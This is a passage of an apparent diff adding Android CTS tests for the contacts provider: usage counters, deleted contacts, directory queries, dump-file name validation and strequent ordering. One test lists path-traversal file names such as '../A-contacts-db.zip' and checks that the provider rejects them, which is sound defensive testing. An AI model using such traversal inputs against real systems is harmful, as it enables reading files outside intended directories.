+        // Update just 1 data item at a time.
+        updateDataUsageAndAssert(dataIds[1], 1);
+        updateDataUsageAndAssert(dataIds[1], 2);
+        updateDataUsageAndAssert(dataIds[1], 3);
+        updateDataUsageAndAssert(dataIds[1], 4);
+        updateDataUsageAndAssert(dataIds[1], 5);
+        updateDataUsageAndAssert(dataIds[1], 6);
+        updateDataUsageAndAssert(dataIds[1], 7);
+        updateDataUsageAndAssert(dataIds[1], 8);
+        updateDataUsageAndAssert(dataIds[1], 9);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 10);
+
+        updateDataUsageAndAssert(dataIds[2], 1);
+        updateDataUsageAndAssert(dataIds[2], 2);
+        updateDataUsageAndAssert(dataIds[2], 3);
+
+        // Go back and update the previous data item again.
+        updateDataUsageAndAssert(dataIds[1], 10);
+        updateDataUsageAndAssert(dataIds[1], 20);
+
+        updateDataUsageAndAssert(dataIds[2], 4);
+        updateDataUsageAndAssert(dataIds[2], 5);
+        updateDataUsageAndAssert(dataIds[2], 6);
+        updateDataUsageAndAssert(dataIds[2], 7);
+        updateDataUsageAndAssert(dataIds[2], 8);
+        updateDataUsageAndAssert(dataIds[2], 9);
+        updateDataUsageAndAssert(dataIds[2], 10);
+
+        updateDataUsageAndAssert(dataIds[1], 20);
+        updateDataUsageAndAssert(dataIds[1], 20);
+        updateDataUsageAndAssert(dataIds[1], 20);
+
+        deleteDataUsage();
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testMultiIdDataUsageFeedback_incrementsCorrectDataItems() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
+
+        assertDataUsageEquals(dataIds, 0, 0, 0, 0);
+
+        updateMultipleAndAssertUpdateSuccess(new long[] {dataIds[1], dataIds[2]});
+        assertDataUsageEquals(dataIds, 0, 1, 1, 0);
+
+        updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1], dataIds[2]});
+        assertDataUsageEquals(dataIds, 0, 2, 2, 0);
+
+        for (int i = 3; i <= 10; i++) {
+            updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
+        }
+        assertDataUsageEquals(dataIds, 0, 10, 2, 0);
+
+        updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[0], dataIds[1]});
+        assertDataUsageEquals(dataIds, 1, 10, 2, 0);
+
+        for (int i = 12; i <= 19; i++) {
+            updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
+            assertDataUsageEquals(dataIds, 1, 10, 2, 0);
+        }
+        updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1]});
+        assertDataUsageEquals(dataIds, 1, 20, 2, 0);
+
+        deleteDataUsage();
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    private long[] setupRawContactDataItems(long rawContactId) {
+        // Create 4 data items.
+        long[] dataIds = new long[4];
+        dataIds[0] = DataUtil.insertPhoneNumber(mResolver, rawContactId, "555-5555");
+        dataIds[1] = DataUtil.insertPhoneNumber(mResolver, rawContactId, "555-5554");
+        dataIds[2] = DataUtil.insertEmail(mResolver, rawContactId, "test@thisisfake.com");
+        dataIds[3] = DataUtil.insertPhoneNumber(mResolver, rawContactId, "555-5556");
+        return dataIds;
+    }
+
+    /**
+     * Updates multiple data ids at once.  And asserts the update returned success.
+     */
+    private void updateMultipleAndAssertUpdateSuccess(long[] dataIds) {
+        String[] ids = new String[dataIds.length];
+        for (int i = 0; i < dataIds.length; i++) {
+            ids[i] = String.valueOf(dataIds[i]);
+        }
+        Uri uri = DataUsageFeedback.FEEDBACK_URI.buildUpon().appendPath(TextUtils.join(",", ids))
+                .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
+                        DataUsageFeedback.USAGE_TYPE_CALL).build();
+        int result = mResolver.update(uri, new ContentValues(), null, null);
+        assertTrue(result > 0);
+    }
+
+    /**
+     * Updates a single data item usage.  Asserts the update was successful.  Asserts the usage
+     * number is equal to expected value.
+     */
+    private void updateDataUsageAndAssert(long dataId, int assertValue) {
+        Uri uri = DataUsageFeedback.FEEDBACK_URI.buildUpon().appendPath(String.valueOf(dataId))
+                .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
+                        DataUsageFeedback.USAGE_TYPE_CALL).build();
+        int result = mResolver.update(uri, new ContentValues(), null, null);
+        assertTrue(result > 0);
+
+        assertDataUsageEquals(dataId, assertValue);
+    }
+
+    /**
+     * Assert that the given data ids have usage values in the respective order.
+     */
+    private void assertDataUsageEquals(long[] dataIds, int... expectedValues) {
+        if (dataIds.length != expectedValues.length) {
+            throw new IllegalArgumentException("dataIds and expectedValues must be the same size");
+        }
+
+        for (int i = 0; i < dataIds.length; i++) {
+            assertDataUsageEquals(dataIds[i], expectedValues[i]);
+        }
+    }
+
+    /**
+     * Assert a single data item has a specific usage value.
+     */
+    private void assertDataUsageEquals(long dataId, int expectedValue) {
+        // Query and assert value is expected.
+        String[] projection = new String[]{ContactsContract.Data.TIMES_USED};
+        String[] record = DataUtil.queryById(mResolver, dataId, projection);
+        assertNotNull(record);
+        long actual = 0;
+        // Tread null as 0
+        if (record[0] != null) {
+            actual = Long.parseLong(record[0]);
+        }
+        assertEquals(expectedValue, actual);
+
+        // Also make sure the rounded value is used in 'where' too.
+        assertEquals("Query should match", 1, DataUtil.queryById(mResolver, dataId, projection,
+                "ifnull(" + Data.TIMES_USED + ",0)=" + expectedValue, null).length);
+    }
+
+    private void deleteDataUsage() {
+        mResolver.delete(DataUsageFeedback.DELETE_USAGE_URI, null, null);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
new file mode 100644
index 0000000..a177a93
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import static android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.cts.contacts.CommonDatabaseUtils;
+import android.provider.cts.contacts.DatabaseAsserts;
+import android.provider.cts.contacts.DeletedContactUtil;
+import android.provider.cts.contacts.RawContactUtil;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+
+import java.util.HashSet;
+import java.util.List;
+
+public class ContactsContract_DeletedContacts extends AndroidTestCase {
+
+    private static final Uri URI = ContactsContract.DeletedContacts.CONTENT_URI;
+
+    private ContentResolver mResolver;
+
+    @Override
+    public void setUp() {
+        mResolver = getContext().getContentResolver();
+    }
+
+    public void testDelete_isUnsupported() {
+
+        DatabaseAsserts.assertDeleteIsUnsupported(mResolver, URI);
+
+        Uri uri = ContentUris.withAppendedId(URI, 1L);
+        DatabaseAsserts.assertDeleteIsUnsupported(mResolver, uri);
+    }
+
+    public void testInsert_isUnsupported() {
+        DatabaseAsserts.assertInsertIsUnsupported(mResolver, URI);
+    }
+
+    public void testQuery_returnsProperColumns() {
+        long start = System.currentTimeMillis();
+        ContactIdPair ids = createAndDeleteContact();
+
+        String[] projection = new String[] {
+                ContactsContract.DeletedContacts.CONTACT_ID,
+                ContactsContract.DeletedContacts.CONTACT_DELETED_TIMESTAMP
+        };
+        List<String[]> records = DeletedContactUtil.query(mResolver, projection);
+        boolean found = false;
+        for (String[] record : records) {
+            if (Long.parseLong(record[0]) == ids.mContactId) {
+                found = true;
+                assertTrue(Long.parseLong(record[1]) > start);
+            }
+        }
+        assertTrue(found);
+    }
+
+    public void testQueryByContactId() {
+        ContactIdPair ids = createAndDeleteContact();
+
+        MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND,
+                DeletedContactUtil.queryDeletedTimestampForContactId(mResolver, ids.mContactId));
+    }
+
+    public void testQueryAll() {
+        int numDeletes = 10;
+
+        // Since we cannot clean out delete log from previous tests, we need to account for that
+        // by querying for the count first.
+        long startCount = DeletedContactUtil.getCount(mResolver);
+
+        for (int i = 0; i < numDeletes; i++) {
+            createAndDeleteContact();
+        }
+
+        long endCount = DeletedContactUtil.getCount(mResolver);
+
+        assertEquals(numDeletes, endCount - startCount);
+    }
+
+    public void testQuerySinceTimestamp() {
+
+        // Before
+        HashSet<Long> beforeIds = new HashSet<Long>();
+        beforeIds.add(createAndDeleteContact().mContactId);
+        beforeIds.add(createAndDeleteContact().mContactId);
+
+        long start = System.currentTimeMillis();
+
+        // After
+        HashSet<Long> afterIds = new HashSet<Long>();
+        afterIds.add(createAndDeleteContact().mContactId);
+        afterIds.add(createAndDeleteContact().mContactId);
+        afterIds.add(createAndDeleteContact().mContactId);
+
+        String[] projection = new String[]{
+                ContactsContract.DeletedContacts.CONTACT_ID,
+                ContactsContract.DeletedContacts.CONTACT_DELETED_TIMESTAMP
+        };
+        List<String[]> records = DeletedContactUtil.querySinceTimestamp(mResolver, projection,
+                start);
+        for (String[] record : records) {
+            // Check ids to make sure we only have the ones that came after the time.
+            long contactId = Long.parseLong(record[0]);
+            assertFalse(beforeIds.contains(contactId));
+            assertTrue(afterIds.contains(contactId));
+
+            // Check times to make sure they came after
+            assertTrue(Long.parseLong(record[1]) > start);
+        }
+    }
+
+    private ContactIdPair createAndDeleteContact() {
+        ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+        assertEquals(CommonDatabaseUtils.NOT_FOUND,
+                DeletedContactUtil.queryDeletedTimestampForContactId(mResolver, ids.mContactId));
+        SystemClock.sleep(1);
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+        return ids;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
new file mode 100644
index 0000000..c3706d3
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.provider.cts.contacts;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.database.DatabaseUtils;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Directory;
+import android.provider.cts.contacts.DummyGalProvider;
+import android.test.AndroidTestCase;
+
+import org.json.JSONObject;
+
+/**
+ * Note, this test creates an account in setUp() and removes it in tearDown(), which causes
+ * a churn in the contacts provider.  So this class should have only one test method and do all
+ * the check in there, so it won't create the account multiple times.
+ */
+public class ContactsContract_DirectoryTest extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private AccountManager mAccountManager;
+    private Account mAccount;
+
+    private static final int DIRECTORY_WAIT_TIMEOUT_SEC = 60;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mResolver = getContext().getContentResolver();
+
+        mAccountManager = getContext().getSystemService(AccountManager.class);
+        mAccount = new Account(DummyGalProvider.ACCOUNT_NAME, DummyGalProvider.ACCOUNT_TYPE);
+
+        // The directory table is populated asynchronously.  Wait for it...
+        waitForDirectorySetup();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mAccountManager.removeAccountExplicitly(mAccount);
+
+        super.tearDown();
+    }
+
+    private static String getString(Cursor c, String column) {
+        return c.getString(c.getColumnIndex(column));
+    }
+
+    /**
+     * Wait until the directory row is populated in the directory table, and return its ID.
+     */
+    private long waitForDirectorySetup() throws Exception {
+        final long timeout = SystemClock.elapsedRealtime() + DIRECTORY_WAIT_TIMEOUT_SEC * 1000;
+
+        while (SystemClock.elapsedRealtime() < timeout) {
+            try (Cursor c = getContext().getContentResolver().query(Directory.CONTENT_URI,
+                    null, Directory.ACCOUNT_NAME + "=? and " + Directory.ACCOUNT_TYPE + "=?",
+                    new String[]{DummyGalProvider.ACCOUNT_NAME, DummyGalProvider.ACCOUNT_TYPE},
+                    null)) {
+                if (c.getCount() == 0) {
+                    Thread.sleep(1000);
+                    continue;
+                }
+                assertTrue(c.moveToPosition(0));
+                assertEquals(getContext().getPackageName(), getString(c, Directory.PACKAGE_NAME));
+                assertEquals(DummyGalProvider.AUTHORITY,
+                        getString(c, Directory.DIRECTORY_AUTHORITY));
+                assertEquals(DummyGalProvider.DISPLAY_NAME, getString(c, Directory.DISPLAY_NAME));
+                assertEquals(DummyGalProvider.ACCOUNT_NAME, getString(c, Directory.ACCOUNT_NAME));
+                assertEquals(DummyGalProvider.ACCOUNT_TYPE, getString(c, Directory.ACCOUNT_TYPE));
+                return c.getLong(c.getColumnIndex(Directory._ID));
+            }
+        }
+        fail("Directory didn't show up");
+        return -1;
+    }
+
+    public void testQueryParameters() throws Exception {
+        // Test for content types.
+        assertEquals(Directory.CONTENT_TYPE, mResolver.getType(Directory.CONTENT_URI));
+        assertEquals(Directory.CONTENT_ITEM_TYPE, mResolver.getType(
+                Directory.CONTENT_URI.buildUpon().appendPath("1").build()));
+
+
+        // Get the directory ID.
+        final long directoryId = waitForDirectorySetup();
+
+        final Uri queryUri = Contacts.CONTENT_FILTER_URI.buildUpon()
+                .appendPath("[QUERY]")
+                .appendQueryParameter(ContactsContract.LIMIT_PARAM_KEY, "12")
+                .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY, "" + directoryId)
+
+                // This should be ignored.
+                .appendQueryParameter(Directory.CALLER_PACKAGE_PARAM_KEY, "abcdef")
+                .build();
+
+        try (Cursor c = getContext().getContentResolver().query(
+                queryUri, null, null, null, null)) {
+
+            DatabaseUtils.dumpCursor(c);
+
+            assertNotNull(c);
+            assertEquals(1, c.getCount());
+
+            assertTrue(c.moveToPosition(0));
+
+            // The result is stored in the display_name column.
+            final JSONObject result = new JSONObject(getString(c, Contacts.DISPLAY_NAME));
+
+            if (result.has(DummyGalProvider.ERROR_MESSAGE_KEY)) {
+                fail(result.getString(DummyGalProvider.ERROR_MESSAGE_KEY));
+            }
+
+            assertEquals("12", result.getString(DummyGalProvider.LIMIT_KEY));
+            assertEquals("[QUERY]", result.getString(DummyGalProvider.QUERY_KEY));
+            assertEquals(getContext().getPackageName(),
+                    result.getString(DummyGalProvider.CALLER_PACKAGE_NAME_KEY));
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
new file mode 100644
index 0000000..18006b2
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.test.AndroidTestCase;
+
+import java.io.FileNotFoundException;
+
+public class ContactsContract_DumpFileProviderTest extends AndroidTestCase {
+
+    private static final String URI_PREFIX = "content://com.android.contacts.dumpfile/";
+
+    private static final String[] NOT_ALLOWED_FILES = {
+            "not_allowed.txt",
+            "../A-contacts-db.zip",   // ".." is not allowed.
+            "/A-contacts-db.zip",     // "/" is not allowed
+            "-contacts-db.zip",       // no name prefix
+            "asdf-contacts-db.zip"};
+
+    private static final String[] ALLOWED_FILES = {
+            "1234567890abcdefABCDEF-contacts-db.zip",
+            "a-contacts-db.zip",
+            "0-contacts-db.zip",
+            "A-contacts-db.zip",
+            "abcdefabcdefabcdefabcdef-contacts-db.zip"};
+
+    private ContentResolver mResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+    }
+
+    public void testOpenFileDescriptor_throwsErrorWithIllegalFileName() {
+        for (String fileName : NOT_ALLOWED_FILES) {
+            Uri uri = Uri.parse(URI_PREFIX + fileName);
+            assertOpenFileDescriptorThrowsError(uri);
+        }
+    }
+
+    public void testOpenFileDescriptor_worksWithValidFileName() {
+        for (String fileName : ALLOWED_FILES) {
+            final Uri uri = Uri.parse(URI_PREFIX + fileName);
+            try {
+                mResolver.openFileDescriptor(uri, "r");
+            } catch (FileNotFoundException e) {
+
+            }
+        }
+    }
+
+    public void testQuery_throwsErrorWithIllegalFileName() {
+        for (String fileName : NOT_ALLOWED_FILES) {
+            final Uri uri = Uri.parse(URI_PREFIX + fileName);
+            assertQueryThrowsError(uri);
+        }
+    }
+
+    public void testQuery_worksWithValidFileName() {
+        for (String fileName : ALLOWED_FILES) {
+            final Uri uri = Uri.parse(URI_PREFIX + fileName);
+            mResolver.query(uri, null, null, null, null);
+        }
+    }
+
+    private void assertQueryThrowsError(Uri uri) {
+        try {
+            mResolver.query(uri, null, null, null, null);
+        } catch (IllegalArgumentException e) {
+            // pass
+            return;
+        }
+
+        fail("IllegalArgumentException expected but not thrown.");
+    }
+
+    private void assertOpenFileDescriptorThrowsError(Uri uri) {
+        try {
+            mResolver.openFileDescriptor(uri, "r");
+        } catch (IllegalArgumentException e) {
+            // pass
+            return;
+        } catch (FileNotFoundException e) {
+
+        }
+
+        fail("IllegalArgumentException expected but not thrown.");
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
new file mode 100644
index 0000000..2231bd2
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
@@ -0,0 +1,476 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.Email;
+import android.provider.ContactsContract.CommonDataKinds.Phone;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Data;
+import android.provider.ContactsContract.DataUsageFeedback;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.InstrumentationTestCase;
+
+/**
+ * CTS tests for {@link android.provider.ContactsContract.Contacts#CONTENT_FREQUENT_URI},
+ * {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} and
+ * {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_FILTER_URI} apis.
+ */
+public class ContactsContract_FrequentsStrequentsTest extends InstrumentationTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    private static final String[] STREQUENT_PROJECTION = new String[]{
+            Contacts._ID,
+            Contacts.HAS_PHONE_NUMBER,
+            Contacts.NAME_RAW_CONTACT_ID,
+            Contacts.IS_USER_PROFILE,
+            Contacts.CUSTOM_RINGTONE,
+            Contacts.DISPLAY_NAME,
+            Contacts.DISPLAY_NAME_ALTERNATIVE,
+            Contacts.DISPLAY_NAME_SOURCE,
+            Contacts.IN_DEFAULT_DIRECTORY,
+            Contacts.IN_VISIBLE_GROUP,
+            Contacts.LAST_TIME_CONTACTED,
+            Contacts.LOOKUP_KEY,
+            Contacts.PHONETIC_NAME,
+            Contacts.PHONETIC_NAME_STYLE,
+            Contacts.PHOTO_ID,
+            Contacts.PHOTO_FILE_ID,
+            Contacts.PHOTO_URI,
+            Contacts.PHOTO_THUMBNAIL_URI,
+            Contacts.SEND_TO_VOICEMAIL,
+            Contacts.SORT_KEY_ALTERNATIVE,
+            Contacts.SORT_KEY_PRIMARY,
+            Contacts.STARRED,
+            Contacts.PINNED,
+            Contacts.TIMES_CONTACTED,
+            Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
+            Contacts.CONTACT_PRESENCE,
+            Contacts.CONTACT_CHAT_CAPABILITY,
+            Contacts.CONTACT_STATUS,
+            Contacts.CONTACT_STATUS_TIMESTAMP,
+            Contacts.CONTACT_STATUS_RES_PACKAGE,
+            Contacts.CONTACT_STATUS_LABEL,
+            Contacts.CONTACT_STATUS_ICON,
+            Data.TIMES_USED,
+            Data.LAST_TIME_USED,
+    };
+
+    private static final String[] STREQUENT_PHONE_ONLY_PROJECTION = new String[]{
+            Data._ID,
+            Contacts.HAS_PHONE_NUMBER,
+            Contacts.NAME_RAW_CONTACT_ID,
+            Contacts.IS_USER_PROFILE,
+            Contacts.CUSTOM_RINGTONE,
+            Contacts.DISPLAY_NAME,
+            Contacts.DISPLAY_NAME_ALTERNATIVE,
+            Contacts.DISPLAY_NAME_SOURCE,
+            Contacts.IN_DEFAULT_DIRECTORY,
+            Contacts.IN_VISIBLE_GROUP,
+            Contacts.LAST_TIME_CONTACTED,
+            Contacts.LOOKUP_KEY,
+            Contacts.PHONETIC_NAME,
+            Contacts.PHONETIC_NAME_STYLE,
+            Contacts.PHOTO_ID,
+            Contacts.PHOTO_FILE_ID,
+            Contacts.PHOTO_URI,
+            Contacts.PHOTO_THUMBNAIL_URI,
+            Contacts.SEND_TO_VOICEMAIL,
+            Contacts.SORT_KEY_ALTERNATIVE,
+            Contacts.SORT_KEY_PRIMARY,
+            Contacts.STARRED,
+            Contacts.PINNED,
+            Contacts.TIMES_CONTACTED,
+            Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
+            Contacts.CONTACT_PRESENCE,
+            Contacts.CONTACT_CHAT_CAPABILITY,
+            Contacts.CONTACT_STATUS,
+            Contacts.CONTACT_STATUS_TIMESTAMP,
+            Contacts.CONTACT_STATUS_RES_PACKAGE,
+            Contacts.CONTACT_STATUS_LABEL,
+            Contacts.CONTACT_STATUS_ICON,
+            Data.TIMES_USED,
+            Data.LAST_TIME_USED,
+            Phone.NUMBER,
+            Phone.TYPE,
+            Phone.LABEL,
+            Phone.IS_SUPER_PRIMARY,
+            Phone.CONTACT_ID,
+    };
+
+    public static ContentValues[] sContentValues = new ContentValues[3];
+    static {
+        ContentValues cv1 = new ContentValues();
+        cv1.put(Contacts.DISPLAY_NAME, "Hot Tamale");
+        sContentValues[0] = cv1;
+
+        ContentValues cv2 = new ContentValues();
+        cv2.put(Contacts.DISPLAY_NAME, "Cold Tamago");
+        sContentValues[1] = cv2;
+
+        ContentValues cv3 = new ContentValues();
+        cv3.put(Contacts.DISPLAY_NAME, "John Doe");
+        sContentValues[2] = cv3;
+    }
+
+    private long[] mDataIds = new long[3];
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getInstrumentation().getTargetContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    /**
+     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
+     * no contacts if there are no starred or frequent contacts in the user's contacts.
+     */
+    public void testStrequents_noStarredOrFrequents() throws Exception {
+        long[] ids = setupTestData();
+        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids, false);
+    }
+
+    /**
+     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
+     * starred contacts in the correct order if there are only starred contacts in the user's
+     * contacts.
+     */
+    public void testStrequents_starredOnlyInCorrectOrder() throws Exception {
+        long[] ids = setupTestData();
+
+        // Star/favorite the first and third contact.
+        starContact(ids[0]);
+        starContact(ids[1]);
+
+        // Only the starred contacts should be returned, ordered alphabetically by name
+        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
+                false, sContentValues[1], sContentValues[0]);
+    }
+
+    /**
+     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
+     * frequent contacts in the correct order if there are only frequent contacts in the user's
+     * contacts.
+     */
+    public void testStrequents_frequentsOnlyInCorrectOrder() throws Exception {
+        long[] ids = setupTestData();
+
+        // Contact the first contact once.
+        markDataAsUsed(mDataIds[0], 1);
+
+        // Contact the second contact thrice.
+        markDataAsUsed(mDataIds[1], 3);
+
+        // Contact the third contact twice.
+        markDataAsUsed(mDataIds[2], 2);
+
+        // The strequents uri should now return contact 2, 3, 1 in order due to ranking by
+        // data usage.
+        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
+                false, sContentValues[1], sContentValues[2], sContentValues[0]);
+    }
+
+    /**
+     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_URI} returns
+     * first starred, then frequent contacts in their respective correct orders if there are both
+     * starred and frequent contacts in the user's contacts.
+     */
+    public void testStrequents_starredAndFrequentsInCorrectOrder() throws Exception {
+        long[] ids = setupTestData();
+
+        // Contact the first contact once.
+        markDataAsUsed(mDataIds[0], 1);
+
+        // Contact the second contact thrice.
+        markDataAsUsed(mDataIds[1], 3);
+
+        // Contact the third contact twice, and mark it as used
+        markDataAsUsed(mDataIds[2], 2);
+        starContact(ids[2]);
+
+        // The strequents uri should now return contact 3, 2, 1 in order. Contact 3 is ranked first
+        // because it is starred, followed by contacts 2 and 1 due to their data usage ranking.
+        // Note that contact 3 is only returned once (as a starred contact) even though it is also
+        // a frequently contacted contact.
+        assertCursorStoredValuesWithContactsFilter(Contacts.CONTENT_STREQUENT_URI, ids,
+                false, sContentValues[2], sContentValues[1], sContentValues[0]);
+    }
+
+    /**
+     * Tests that {@link android.provider.ContactsContract.Contacts#CONTENT_STREQUENT_FILTER_URI}
+     * correctly filters the returned contacts with the given user input.
+     */
+    public void testStrequents_withFilter() throws Exception {
+        long[] ids = setupTestData();
+
+        //Star all 3 contacts
+        starContact(ids[0]);
+        starContact(ids[1]);
+        starContact(ids[2]);
+
+        // Construct a uri that filters for the query string "ta".
+        Uri uri = Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon().appendEncodedPath("ta").build();
+
+        // Only contact 1 and 2 should be returned (sorted in alphabetical order) due to the
+        // filtered query.
+        assertCursorStoredValuesWithContactsFilter(uri, ids, false, sContentValues[1], sContentValues[0]);
+    }
+
+    public void testStrequents_projection() throws Exception {
+        long[] ids = setupTestData();
+
+        // Start contact 0 and mark contact 2 as frequent
+        starContact(ids[0]);
+        markDataAsUsed(mDataIds[2], 1);
+
+        DatabaseAsserts.checkProjection(mResolver, Contacts.CONTENT_STREQUENT_URI,
+                STREQUENT_PROJECTION,
+                new long[]{ids[0], ids[2]}
+        );
+
+        // Strequent filter.
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.CONTENT_STREQUENT_FILTER_URI.buildUpon()
+                        .appendEncodedPath("Hot Tamale").build(),
+                STREQUENT_PROJECTION,
+                new long[]{ids[0]}
+        );
+    }
+
+    public void testStrequents_phoneOnly() throws Exception {
+        long[] ids = setupTestData();
+
+        // Star all 3 contacts
+        starContact(ids[0]);
+        starContact(ids[1]);
+        starContact(ids[2]);
+
+        // Construct a uri for phone only favorites.
+        Uri uri = Contacts.CONTENT_STREQUENT_URI.buildUpon().
+                appendQueryParameter(ContactsContract.STREQUENT_PHONE_ONLY, "true").build();
+
+        // Only the contacts with phone numbers are returned, in alphabetical order. Filtering
+        // is done with data ids instead of contact ids since each row contains a single data item.
